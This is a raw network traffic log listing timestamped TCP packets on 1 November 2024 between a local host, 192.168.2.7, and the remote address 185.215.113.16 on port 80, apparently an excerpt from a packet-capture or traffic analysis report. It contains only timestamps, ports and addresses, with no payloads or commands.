Nov 1, 2024 12:14:45.042936087 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.042948008 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.042960882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.042962074 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.042977095 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.042987108 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.042994976 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.042999983 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043013096 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043021917 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043025017 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043040037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043042898 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043052912 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043073893 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043083906 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043092012 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043096066 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043123007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043133974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043150902 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043159008 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043159962 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043179989 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043180943 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043196917 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043201923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043215036 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043230057 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043236971 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043245077 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043263912 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043273926 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043277979 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043292999 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043303967 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043308973 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043325901 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043330908 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043349981 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043356895 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043358088 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043371916 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043397903 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043407917 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043411970 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043430090 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043430090 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043442965 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043453932 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043462992 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043473005 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043483973 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043490887 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043497086 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043509960 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043519020 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043533087 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043540955 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043554068 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043565989 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043567896 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043579102 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043581009 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043591976 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043596029 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043606043 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043617964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043627024 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043632984 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043648005 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043648005 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043674946 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043675900 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043699026 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043709040 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043721914 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043725967 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043735027 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043744087 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043761969 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043780088 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043811083 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043831110 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043854952 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043864012 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043868065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043880939 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043890953 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043893099 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043906927 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043926001 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043935061 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043946981 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043951035 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043958902 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.043970108 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.043998003 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044025898 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044065952 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044127941 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044140100 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044150114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044162989 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044178963 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044183969 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044194937 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044200897 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044209003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044214964 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044222116 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044234037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044233084 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044248104 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044275045 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044639111 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044650078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044661045 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044686079 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044708967 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044722080 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044740915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044761896 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044766903 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044781923 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044785976 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044800043 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044801950 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044811964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044820070 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044835091 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044842005 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044852018 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044853926 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044864893 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044874907 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044878006 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044893026 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044898033 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.044919968 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.044943094 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045027018 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045039892 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045058012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045074940 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045074940 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045089960 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045103073 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045125008 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045133114 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045144081 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045172930 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045185089 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045207024 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045217991 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045237064 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045260906 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045277119 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045288086 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045300007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045315981 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045342922 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045373917 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045423031 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045444012 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045464993 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045479059 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045481920 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.045492887 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045511961 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.045527935 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.071896076 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.071914911 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.071930885 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072019100 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072037935 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072057962 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072072029 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072082996 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072086096 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072097063 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072107077 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072120905 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072127104 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072144985 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072160006 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072160959 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072175026 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072190046 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072197914 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072205067 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072222948 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072235107 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072560072 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072602987 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072720051 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072735071 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072747946 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072762966 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072763920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072779894 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072784901 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072794914 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072808981 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072814941 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072824001 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072834015 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072866917 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072869062 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072889090 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072901964 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072907925 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072920084 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072933912 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072951078 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072962999 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072964907 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072979927 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.072990894 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.072992086 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073005915 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073005915 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073019028 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073025942 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073033094 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073046923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073057890 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073077917 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073084116 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073091984 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073105097 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073112011 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073117971 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073131084 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073143959 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073143959 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073154926 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073169947 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073173046 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073184013 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073189974 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073199034 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073209047 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073211908 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073225975 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073236942 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073240042 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073252916 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073265076 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073267937 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073278904 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073287010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073292971 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073302031 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073307991 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073322058 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073333025 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.073334932 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.073360920 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.119105101 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119127989 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119142056 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119205952 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.119294882 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119308949 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119330883 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119335890 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.119344950 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.119365931 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.119379044 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.153929949 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.153959036 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.153970003 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.153983116 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.153995037 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154009104 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154064894 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154098034 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154114962 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154140949 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154148102 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154155016 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154171944 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154175043 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154184103 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154196978 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154205084 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154217005 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154226065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154246092 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154252052 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154263973 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154268026 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154279947 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154284000 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154299974 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154301882 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154314995 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154315948 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154335976 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154337883 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154350996 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154365063 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154391050 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154406071 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154412985 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154429913 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154437065 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154458046 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154464960 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154474974 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154480934 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154500008 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154510975 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154517889 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154532909 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154551983 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154555082 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154572010 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154578924 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154594898 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154597998 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154616117 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154616117 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154633045 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154633999 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154647112 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154649019 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154660940 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154670954 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154675007 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154687881 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154690981 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154699087 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154715061 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154726028 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154731989 CET	49981	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:45.154740095 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154753923 CET	80	49981	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:45.154762983 CET	49981	80	192.168.2.7	185.215.113.16
